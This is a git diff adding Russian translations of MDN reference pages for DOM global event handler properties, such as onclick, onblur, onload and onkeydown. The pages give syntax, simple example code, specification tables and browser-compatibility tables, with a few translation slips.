+ + diff --git a/files/ru/web/api/globaleventhandlers/onanimationend/index.html b/files/ru/web/api/globaleventhandlers/onanimationend/index.html new file mode 100644 index 0000000000..babeb4f738 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onanimationend/index.html @@ -0,0 +1,109 @@ +--- +title: GlobalEventHandler.onanimationend +slug: Web/API/GlobalEventHandlers/onanimationend +translation_of: Web/API/GlobalEventHandlers/onanimationend +--- +
{{APIRef("CSS3 Animations")}}
+ +

Обработчик события {{event("animationend")}}. Это событие вывзывается когда CSS анимация достигает конца своего активного периода, который вычисляется как ({{cssxref("animation-duration")}} * {{cssxref("animation-iteration-count")}}) + {{cssxref("animation-delay")}}.

+ +

Синтакс

+ +
var animEndHandler = target.onanimationend;
+
+target.onanimationend = {{jsxref("Function")}}
+
+ +

Значение

+ +

A {{jsxref ("Function")}} вызывается, когда происходит событие {{event ("animationend")}}, указывающее, что анимация CSS начинается с цели, где целевой объект является HTML-элементом ({{ Domxref ("HTMLElement")}}), документ ({{domxref ("Document")}}) или окно ({{domxref ("Window")}}). Функция получает в качестве входного параметра один параметр: {{domxref ("AnimationEvent")}} объект, описывающий событие, которое произошло.

+ +

Example

+ +

{{Page("/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart", "Example")}}

+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations','#eventdef-animationevent-animationend','onanimationend')}}{{Spec2('CSS3 Animations')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)		{{CompatGeckoDesktop(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)		{{CompatGeckoMobile(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}} (unprefixed)
+
+ +

См также

+ + diff --git a/files/ru/web/api/globaleventhandlers/onblur/index.html b/files/ru/web/api/globaleventhandlers/onblur/index.html new file mode 100644 index 0000000000..435313c2d8 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onblur/index.html @@ -0,0 +1,85 @@ +--- +title: GlobalEventHandlers.onblur +slug: Web/API/GlobalEventHandlers/onblur +translation_of: Web/API/GlobalEventHandlers/onblur +--- +
{{ApiRef("HTML DOM")}}
+ +

Свойство onblur из {{domxref("GlobalEventHandlers")}} событий {{domxref("EventHandler")}} для {{event("blur")}} события. Оно доступно для{{domxref("Element")}}, {{domxref("Document")}} и {{domxref("Window")}}.

+ +

Событие blur возникает когда элемент теряет фокус.

+ +
+

Note: Обратным onblur является {{domxref("GlobalEventHandlers.onfocus", "onfocus")}}.

+
+ +

Syntax

+ +
target.onblur = functionRef;
+
+ +

Value

+ +

functionRef  - это имя функции или function expression. Функция получает объект {{domxref("FocusEvent")}} в качестве единственного аргумента.

+ +

Example

+ +

В этом примере onblur и {{domxref("GlobalEventHandlers.onfocus", "onfocus")}} используются для изменения текста в элементе {{HtmlElement("input")}}.

+ +

HTML

+ +
<input type="text" value="CLICK HERE">
+
+ +

JavaScript

+ +
let input = document.querySelector('input');
+
+input.onblur = inputBlur;
+input.onfocus = inputFocus;
+
+function inputBlur() {
+  input.value = 'Focus has been lost';
+}
+
+function inputFocus() {
+  input.value = 'Focus is here';
+}
+ +

Result

+ +

Нажимайте внутри и вне поля формы. Содержимое будет изменятся.

+ +

{{EmbedLiveSample('Example')}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onblur','onblur')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.GlobalEventHandlers.onblur")}}

+ +

In contrast to IE, in which almost all kinds of elements receive the blur event, only a few kinds of elements on Gecko browsers work with this event.

+ +

See also

+ + diff --git a/files/ru/web/api/globaleventhandlers/onchange/index.html b/files/ru/web/api/globaleventhandlers/onchange/index.html new file mode 100644 index 0000000000..727828bc5b --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onchange/index.html @@ -0,0 +1,57 @@ +--- +title: GlobalEventHandlers.onchange +slug: Web/API/GlobalEventHandlers/onchange +tags: + - API + - HTML DOM + - Property + - Reference + - onchange +translation_of: Web/API/GlobalEventHandlers/onchange +--- +
+
{{ ApiRef("HTML DOM") }}
+ +
 
+
+ +

Свойство onchange (Дословно "На изменение") устанавливает и возвращает обработчик события, для события {{event("change")}} (Изменение чего-либо).

+ +

Синтаксис

+ +
element.onchange = handlerFunction; // handlerFunction - ссылка на функцию обработчик, установленная как свойство onchange, для элемента element
+var handlerFunction = element.onchange;
+
+ +

handlerFunction  должна быть либо функцией определяющей обработчик события, либо null .

+ +

Заметки

+ +

Почитайте  страницу DOM обработчики события , там содержится вся информация о работе с  on...  обработчиками.

+ +

Документация по событию {{event("change")}}.

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','webappapis.html#handler-onchange','onchange')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.GlobalEventHandlers.onchange")}}

+
diff --git a/files/ru/web/api/globaleventhandlers/onclick/index.html b/files/ru/web/api/globaleventhandlers/onclick/index.html new file mode 100644 index 0000000000..17657d6383 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onclick/index.html @@ -0,0 +1,103 @@ +--- +title: GlobalEventHandlers.onclick +slug: Web/API/GlobalEventHandlers/onclick +translation_of: Web/API/GlobalEventHandlers/onclick +--- +
+
{{ ApiRef("HTML DOM") }}
+
+ +
+ +

Свойство onclick возвращает обработчик события click на текущем элементе.

+ +
Note: При использовании обработчика события click для вызова любого действия, убедитесь, что событие keydown имеет такое же действие. Это нужно для того, чтобы пользователи, которые не используют мышь или тачскрин могли использовать то же действие.
+ +

Синтаксис

+ +
element.onclick = functionRef;
+
+ +

где functionRef это функция - зачастую это имя функции, которая объявлена где-то в другом месте или же функциональное выражение. См. "JavaScript Guide:Functions".

+ +

Единственный аргумент, переданный в определённую функцию обработчик события это {{domxref("MouseEvent")}} объект. this внутри обработчика будет указывать на элемент, на котором было вызвано событие.

+ +

Пример

+ +
<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="UTF-8" />
+    <title>onclick event example</title>
+    <script>
+      function initElement() {
+        var p = document.getElementById("foo");
+        // NOTE: showAlert(); или showAlert(param); так НЕ сработает.
+        // Нужно использовать ссылку на функцию, но не вызов функции.
+        p.onclick = showAlert;
+      };
+
+      function showAlert(event) {
+        alert("onclick Event detected!");
+      }
+    </script>
+    <style>
+      #foo {
+        border: solid blue 2px;
+      }
+    </style>
+  </head>
+  <body onload="initElement();">
+    <span id="foo">My Event Element</span>
+    <p>click on the above element.</p>
+  </body>
+</html>
+
+ +

Или же Вы можете использовать анонимную функцию, как здесь:

+ +
p.onclick = function(event) { alert("moot!"); };
+
+ +

Заметки

+ +

Событие click возникает, когда пользователь кликает на элемент. Событие click возникнет после событий mousedown и mouseup.

+ +

С данным свойством только один обработчик события click может быть назначен объекту. Возможно, вместо данного метода, Вам стоит обратить внимание на метод {{domxref("EventTarget.addEventListener()")}}, т.к. он более гибкий и является частью спецификации DOM Events.

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ +
{{Compat("api.GlobalEventHandlers.onclick")}}
+ +

См. также

+ +
+ +
diff --git a/files/ru/web/api/globaleventhandlers/onclose/index.html b/files/ru/web/api/globaleventhandlers/onclose/index.html new file mode 100644 index 0000000000..6a36f95dce --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onclose/index.html @@ -0,0 +1,97 @@ +--- +title: GlobalEventHandlers.onclose +slug: Web/API/GlobalEventHandlers/onclose +translation_of: Web/API/GlobalEventHandlers/onclose +--- +
{{ApiRef("HTML DOM")}}
+ +

Обработчик события для событий закрытия, отправляется в окно. (Не доступен в Firefox 2 или Safari)

+ +

Синтаксис

+ +
window.onclose = funcRef;
+
+ +

Параметры

+ + + +

Пример

+ +
window.onclose = resetThatServerThing;
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
свойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
базоввая поддержка{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
базоввая поддержка{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
diff --git a/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html b/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html new file mode 100644 index 0000000000..cc206b1a8c --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/oncontextmenu/index.html @@ -0,0 +1,63 @@ +--- +title: GlobalEventHandlers.oncontextmenu +slug: Web/API/GlobalEventHandlers/oncontextmenu +tags: + - API + - HTML DOM + - Property + - Reference + - oncontextmenu +translation_of: Web/API/GlobalEventHandlers/oncontextmenu +--- +
{{ ApiRef("HTML DOM") }}
+ +
 
+ +

Свойство обработчика событий для события клика правой кнопкой мыши внутри элемента window.

+ +

Если стандартное поведение не будет предотвращено, то активируется контекстное меню браузера (В IE8 есть ошибка, связанная с тем что контекстное меню не будет активировано если определён обработчик события contextmenu).

+ +

Обратите внимание что это событие будет происходить вместе с другими событиями right-click и не зависит от "contextmenu" атрибута элемента.

+ +

Синтаксис

+ +
window.oncontextmenu = funcRef;
+//funcRef - ссылка на функцию, которая будет вызвана в ответ на событие "oncontextmenu", происходящее при клике правой кнопкой мыши внутри объекта window.
+ +

Пример

+ +

Код в этом примере меняет стандартное поведение браузера, отключая клик правой кнопкой мыши.

+ +
document.oncontextmenu = function () { // Используйте объект "document" вместо "window" для совместимости с IE8.
+   return false;
+};
+
+window.addEventListener('contextmenu', function (e) { // Не совместимо с IE младше 9 версии
+    e.preventDefault();
+}, false);
+
+ +

Специфкация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','webappapis.html#handler-oncontextmenu','oncontextmenu')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.GlobalEventHandlers.oncontextmenu")}}

+
diff --git a/files/ru/web/api/globaleventhandlers/ondragstart/index.html b/files/ru/web/api/globaleventhandlers/ondragstart/index.html new file mode 100644 index 0000000000..3ead749a9b --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/ondragstart/index.html @@ -0,0 +1,111 @@ +--- +title: GlobalEventHandlers.ondragstart +slug: Web/API/GlobalEventHandlers/ondragstart +translation_of: Web/API/GlobalEventHandlers/ondragstart +--- +
{{ApiRef("HTML DOM")}}
+ +

{{domxref("GlobalEventHandlers","global event handler")}} для события {{event("dragstart")}}.

+ +

Синтаксис

+ +
var dragstartHandler = targetElement.ondragstart;
+
+ +

Возвращаемое значение

+ +
+
dragstartHandler
+
Обработчик событий dragstart для элемента targetElement.
+
+ +

Пример

+ +

Этот пример демонстрирует использование {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} атрибута обработчика для установки обработчика событий элемента {{event("dragstart")}}.

+ +
<!DOCTYPE html>
+<html lang=en>
+<title>Examples of using the ondrag Global Event Attribute</title>
+<meta content="width=device-width">
+<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #source {
+    color: blue;
+    border: 1px solid black;
+  }
+  #target {
+    border: 1px solid black;
+  }
+</style>
+</head>
+<script>
+function drag_handler(ev) {
+ console.log("Drag");
+}
+
+function dragstart_handler(ev) {
+ console.log("dragStart");
+ ev.dataTransfer.setData("text", ev.target.id);
+}
+
+function drop_handler(ev) {
+ console.log("Drop");
+ ev.currentTarget.style.background = "lightyellow";
+
+ ev.preventDefault();
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ ev.preventDefault();
+}
+</script>
+<body>
+<h1>Examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1>
+ <div>
+   <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true">
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
+ </div>
+ <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+</body>
+</html>
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#ix-handler-ondragstart", "ondragstart")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5.1", "index.html#ix-handler-ondragstart", "ondragstart")}}{{Spec2("HTML5.1")}}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("api.GlobalEventHandlers.ondragstart")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/globaleventhandlers/onerror/index.html b/files/ru/web/api/globaleventhandlers/onerror/index.html new file mode 100644 index 0000000000..29555d6c44 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onerror/index.html @@ -0,0 +1,70 @@ +--- +title: GlobalEventHandlers.onerror +slug: Web/API/GlobalEventHandlers/onerror +tags: + - API + - HTML DOM + - Свойство + - Ссылка +translation_of: Web/API/GlobalEventHandlers/onerror +--- +
{{ ApiRef("HTML DOM") }}
+ +

Обработчик события для ошибок среды Javascript.

+ +

Обратите внимание, что некоторые/многие error не вызывают window.onerror, вы должны слушать их специально.

+ +

Синтаксис

+ +
window.onerror = funcRef;
+
+ +

Параметры

+ + + +

Примеры

+ +
// Пример 1:
+
+// Предотвращает диалоги об ошибках, отображает какая это функция окна, это нормальное
+// поведение - путем переопределения обработчика событий по умолчанию для событий об ошибках, которые
+// переходят окну.
+window.onerror = null;
+
+// Пример 2:
+
+var gOldOnError = window.onerror;
+// Переопределить прошлый обработчик события.
+window.onerror = function myErrorHandler(errorMsg, url, lineNumber) {
+  if (gOldOnError)
+    // Вызвать прошлый обработчик события.
+    return gOldOnError(errorMsg, url, lineNumber);
+
+  // Просто запустить обработчик события по умолчанию.
+  return false;
+}
+
+ +

Заметки

+ +

Событие возникает, когда происходит ошибка в скрипте.

+ +

При использовании строчной HTML-разметки (<body onerror="alert('an error occurred')>...), аргументы не именуются. Они могут быть доступны через arguments от {{ mediawiki.external(0) }} до {{ mediawiki.external(2) }}.

+ +

Здесь недоступен Components.stack.caller для использования. (Смотрите bug 355430.)

+ +

Спецификации

+ +

JavaScript 1.1

diff --git a/files/ru/web/api/globaleventhandlers/onfocus/index.html b/files/ru/web/api/globaleventhandlers/onfocus/index.html new file mode 100644 index 0000000000..ad7fce00bc --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onfocus/index.html @@ -0,0 +1,94 @@ +--- +title: GlobalEventHandlers.onfocus +slug: Web/API/GlobalEventHandlers/onfocus +translation_of: Web/API/GlobalEventHandlers/onfocus +--- +
{{ApiRef("HTML DOM")}}
+ +

Свойство onfocus устанавливает обработчик события onFocus на данный элемент.

+ +

Синтакс

+ +
element.onfocus = выполняемый код при сработке события
+
+ +

Заметка

+ +

Событие фокуса (focus) вызывается когда пользователь устанавливает фокус на данный элемент.

+ +

Чтобы вызвать событие onfocus на элементах, отличных от полей ввода input, им необходимо предварительно добавить атрибут {{htmlattrxref("tabindex")}} (см. Building keyboard accessibility back in для подробностей).

+ +

В отличие от браузеров IE, в которых практически на всех элементах можно вызвать событие фокуса, браузеры, написанные на движке Gecko (Mozilla Firefox), не поддерживают это событие.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('HTML WHATWG','webappapis.html#handler-onfocus','onfocus')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/globaleventhandlers/oninput/index.html b/files/ru/web/api/globaleventhandlers/oninput/index.html new file mode 100644 index 0000000000..7da5c5e43b --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/oninput/index.html @@ -0,0 +1,110 @@ +--- +title: GlobalEventHandlers.oninput +slug: Web/API/GlobalEventHandlers/oninput +translation_of: Web/API/GlobalEventHandlers/oninput +--- +
{{ApiRef("HTML DOM")}}
+ +

Обработчик события для input event в окне. Событие ввода возникает при изменении значения элемента {{HTMLElement ("input")}}.
+
+ Это событие пузырится. Если он поддерживается в окне, он поддерживается и в {{HTMLElement ("input")}}.

+ +

Example

+ +
<script>
+
+window.addEventListener('input', function (e) {
+ console.log("input event detected! coming from this element:", e.target);
+}, false);
+
+</script>
+
+<input placeholder="type here and see console.">
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "forms.html#event-input-input", "oninput")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}2910{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/globaleventhandlers/onkeydown/index.html b/files/ru/web/api/globaleventhandlers/onkeydown/index.html new file mode 100644 index 0000000000..48526391bb --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onkeydown/index.html @@ -0,0 +1,84 @@ +--- +title: GlobalEventHandlers.onkeydown +slug: Web/API/GlobalEventHandlers/onkeydown +tags: + - API + - HTML DOM + - Свойство +translation_of: Web/API/GlobalEventHandlers/onkeydown +--- +
{{ApiRef("HTML DOM")}}
+ +

Свойство onkeydown возвращает обработчик события {{event("keydown")}} на текущем элементе.

+ +

Событие keydown вызывается, когда пользователь нажал клавишу на клавиатуре.

+ +

Синтаксис

+ +
element.onkeydown = event handling code
+
+ +

Значение

+ +

Имя функции functionRef или function expression. Функция получает объект {{domxref("KeyboardEvent")}} в качестве единственного аргумента.

+ +

Пример

+ +

Этот пример показывает значение {{domxref("KeyboardEvent.code")}}, когда вы нажимаете клавишу внутри элемента {{HtmlElement("input")}}.

+ +

HTML

+ +
<input>
+<p id="log"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.onkeydown = logKey;
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Пример")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','webappapis.html#handler-onkeydown','onkeydown')}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ +
{{Compat("api.GlobalEventHandlers.onkeydown")}}
+ +

Смотите также

+ +
+ +
+ +
diff --git a/files/ru/web/api/globaleventhandlers/onkeypress/index.html b/files/ru/web/api/globaleventhandlers/onkeypress/index.html new file mode 100644 index 0000000000..bb5a16e61b --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onkeypress/index.html @@ -0,0 +1,53 @@ +--- +title: GlobalEventHandlers.onkeypress +slug: Web/API/GlobalEventHandlers/onkeypress +translation_of: Web/API/GlobalEventHandlers/onkeypress +--- +
{{ApiRef("HTML DOM")}}
+ +

Описание

+ +

Свойство onkeypress задаёт и возвращает код обработчика событий onKeyPress для текущего элемента.

+ +

Синтаксис

+ +
element.onkeypress = код обработчика событий
+
+ +

Примечания

+ +

Событие нажатия должно вызываться тогда, когда пользователь нажимает клавишу на клавиатуре. Тем не менее, не все браузеры отрабатывают это событие для некоторых (определённых) клавиш.

+ +

Несовместимость в браузерах

+ +

Браузеры на основе Webkit (к примеру, Google Chrome и Safari) не отрабатывают события нажатия клавиш-указателей ("стрелок").

+ +

Firefox не отрабатывает события, в основе которых лежат клавиши управления (модификаторы) - такие, как, например, SHIFT.

+ +

Спецификация

+ +

Не является частью спецификации.

+ +

Пример

+ +

Следующий пример демонстрирует использование события onkeypress  в процессе заполнения поля формы (только) цифрами:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Пример</title>
+<script>
+  function numbersOnly(oToCheckField, oKeyEvent) {
+    return oKeyEvent.char === 0 || /\d/.test(String.fromCharCode(oKeyEvent.char));
+  }
+</script>
+</head>
+
+<body>
+<form name="myForm">
+<p>Вводите только цифры: <input type="text" name="myInput" onkeypress="return numbersOnly(this, event);" onpaste="return false;" /></p>
+</form>
+</body>
+</html>
+
diff --git a/files/ru/web/api/globaleventhandlers/onload/index.html b/files/ru/web/api/globaleventhandlers/onload/index.html new file mode 100644 index 0000000000..7040dadfc4 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onload/index.html @@ -0,0 +1,58 @@ +--- +title: GlobalEventHandlers.onload +slug: Web/API/GlobalEventHandlers/onload +translation_of: Web/API/GlobalEventHandlers/onload +--- +
{{ ApiRef("HTML DOM") }}
+ +

Обработчик для события загрузки объекта {{ domxref("window") }}.

+ +

Синтаксис

+ +
window.onload = funcRef;
+
+ + + +

Примеры

+ +
window.onload = function() {
+  init();
+  doSomethingElse();
+};
+
+ +
<!doctype html>
+<html>
+  <head>
+    <title>onload test</title>
+    <script>
+      function load() {
+        alert("Событие загрузки поймано!");
+      }
+      window.onload = load;
+    </script>
+  </head>
+  <body>
+    <p>Событие загрузки произойдёт, когда документ будет загружен!</p>
+  </body>
+</html>
+
+ +

Заметки

+ +

Событие загрузки возникают в конце процесса загрузки документа. В этот момент все объекты документа находятся в DOM, и все картинки, скрипты, фреймы, ссылки загружены.

+ +

Есть также Gecko события как DOMContentLoaded и DOMFrameContentLoaded (которые могут быть навешены с помощью {{ domxref("EventTarget.addEventListener()") }}) которые возникают после того как DOM для страницы будет собран, но не ждут, когда другие ресурсы будут загружены.

+ +

Спецификации

+ +

Этот обработчик события указан в стандарте HTML.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/globaleventhandlers/onloadend/index.html b/files/ru/web/api/globaleventhandlers/onloadend/index.html new file mode 100644 index 0000000000..1c5f270054 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onloadend/index.html @@ -0,0 +1,110 @@ +--- +title: GlobalEventHandlers.onloadend +slug: Web/API/GlobalEventHandlers/onloadend +translation_of: Web/API/GlobalEventHandlers/onloadend +--- +
{{ApiRef}}
+ +

Свойство onloadend  от {{domxref("GlobalEventHandlers")}} примесь {{domxref("EventHandler")}} передает код для вызова в момент возникновения события {{event("loadend")}}  (когда процесс загрузки ресурса окончился и остановился)

+ +

Синтаксис

+ +
img.onloadend = funcRef;
+
+ +

При возникновении события  loadend  будет вызванна функция обработчик funcRef.

+ +

Примеры

+ +
<img src="myImage.jpg">
+ +
// 'loadstart' fires first, then 'load', then 'loadend'
+
+image.addEventListener('load', function(e) {
+  console.log('Image loaded');
+});
+
+image.addEventListener('loadstart', function(e) {
+  console.log('Image load started');
+});
+
+image.addEventListener('loadend', function(e) {
+  console.log('Image load finished');
+});
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "webappapis.html#handler-onloadend", "onloadend")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("52")}}[1]{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatGeckoMobile("52")}}[1]{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] As of Firefox 52, The loadend event is now fired on {{htmlelement("img")}} elements.

diff --git a/files/ru/web/api/globaleventhandlers/onmousedown/index.html b/files/ru/web/api/globaleventhandlers/onmousedown/index.html new file mode 100644 index 0000000000..39c6b2ee1c --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onmousedown/index.html @@ -0,0 +1,94 @@ +--- +title: GlobalEventHandlers.onmousedown +slug: Web/API/GlobalEventHandlers/onmousedown +translation_of: Web/API/GlobalEventHandlers/onmousedown +--- +
+
{{ ApiRef("HTML DOM") }}
+
+ +

Свойство onmousedown возвращает  код обработчика события onmousedown на соответствующем элементе.

+ +

Синтаксис

+ +
element.onmousedown = код обработчика этого события (функция)
+
+ +

Примечания

+ +

Событие mousedown обрабатывается когда пользователь нажимает кнопку мыши. 

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','webappapis.html#handler-onmousedown','onmousedown')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Обычная соместимость{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Обычная совместимость{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ru/web/api/globaleventhandlers/onmouseup/index.html b/files/ru/web/api/globaleventhandlers/onmouseup/index.html new file mode 100644 index 0000000000..9b802ee95e --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onmouseup/index.html @@ -0,0 +1,94 @@ +--- +title: GlobalEventHandlers.onmouseup +slug: Web/API/GlobalEventHandlers/onmouseup +translation_of: Web/API/GlobalEventHandlers/onmouseup +--- +
{{ApiRef("HTML DOM")}}
+ +

Свойство onmouseup возвращает код обработчика события onMouseUp текущего элемента.

+ +

Syntax

+ +
element.onmouseup =  код обработки событий
+
+ +

Notes

+ +

Событие mouseup возникает, когда пользователь отпускает кнопку мыши.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onmouseup','onmouseup')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
